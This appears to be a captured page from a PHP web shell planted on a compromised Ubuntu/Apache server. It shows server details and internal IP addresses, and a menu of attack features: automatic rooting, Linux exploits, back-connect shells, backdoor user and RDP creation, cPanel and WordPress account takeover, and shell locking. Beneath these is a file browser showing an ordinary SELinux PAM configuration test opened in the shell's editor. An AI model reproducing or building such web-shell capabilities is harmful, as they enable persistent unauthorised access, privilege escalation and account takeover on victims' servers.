Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
selinux-basics /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
00_selinuxenabled.py
618
B
-rw-r--r--
01_verify_init.py
1.13
KB
-rw-r--r--
02_verify_slash_selinux.py
548
B
-rw-r--r--
10_test_kernel_processes.py
1.2
KB
-rw-r--r--
20_old-style-ttys.py
711
B
-rw-r--r--
21_pam.py
1.02
KB
-rw-r--r--
22_postfix.py
1.9
KB
-rw-r--r--
24_fsckfix.py
671
B
-rw-r--r--
25_udev_relabel.py
621
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : 21_pam.py
class TestPAMConfig(TestBase): """ Verify that pam is setup for SELinux """ class ErrorPAMSSH(ErrorBase): def __str__(self): return "/etc/pam.d/sshd is not SELinux enabled" class ErrorPAMLogin(ErrorBase): def __str__(self): return "/etc/pam.d/login is not SELinux enabled" @staticmethod def test(): import os, re r = re.compile(r'^\s*session\s+(required|\[success=ok\s+ignore=ignore\s+module_unknown=ignore\s+default=bad\])\s+pam_selinux.so') result = [] if os.access("/etc/pam.d/sshd", os.F_OK): selinuxon = False f = open("/etc/pam.d/sshd","r") for line in f.readlines(): if r.match(line): selinuxon = True f.close() if not selinuxon: result.append(TestPAMConfig.ErrorPAMSSH()) if os.access("/etc/pam.d/login", os.F_OK): selinuxon = False f = open("/etc/pam.d/login","r") for line in f.readlines(): if r.match(line): selinuxon = True f.close() if not selinuxon: result.append(TestPAMConfig.ErrorPAMLogin()) return result register_test(TestPAMConfig)
Close